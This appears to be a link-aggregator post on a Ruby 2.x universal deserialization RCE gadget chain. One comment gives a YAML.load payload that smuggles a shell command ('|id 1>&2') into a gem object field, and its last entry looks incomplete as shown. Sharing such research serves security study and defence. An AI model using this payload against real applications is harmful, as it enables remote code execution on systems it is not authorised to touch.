Ruby 2.x Universal RCE Deserialization Gadget Chain (2018)

https://www.elttam.com/blog/ruby-deserialization/

by pentestercrab • 7 years ago

36 1 7 years ago

The same gadget chain can alsobe used to exploit YAML.load [0] with the following:

    --- !ruby/object:Gem::Requirement
    requirements:
      !ruby/object:Gem::DependencyList
      specs:
      - !ruby/object:Gem::Source::SpecificFile
        spec: &1 !ruby/object:Gem::StubSpecification
          loaded_from: "|id 1>&2"
      - !ruby/object:Gem::Source::SpecificFile
          spec:

[0] https://staaldraad.github.io/post/2019-03-02-universal-rce-r...

Ruby 2.x Universal RCE Deserialization Gadget Chain (2018)

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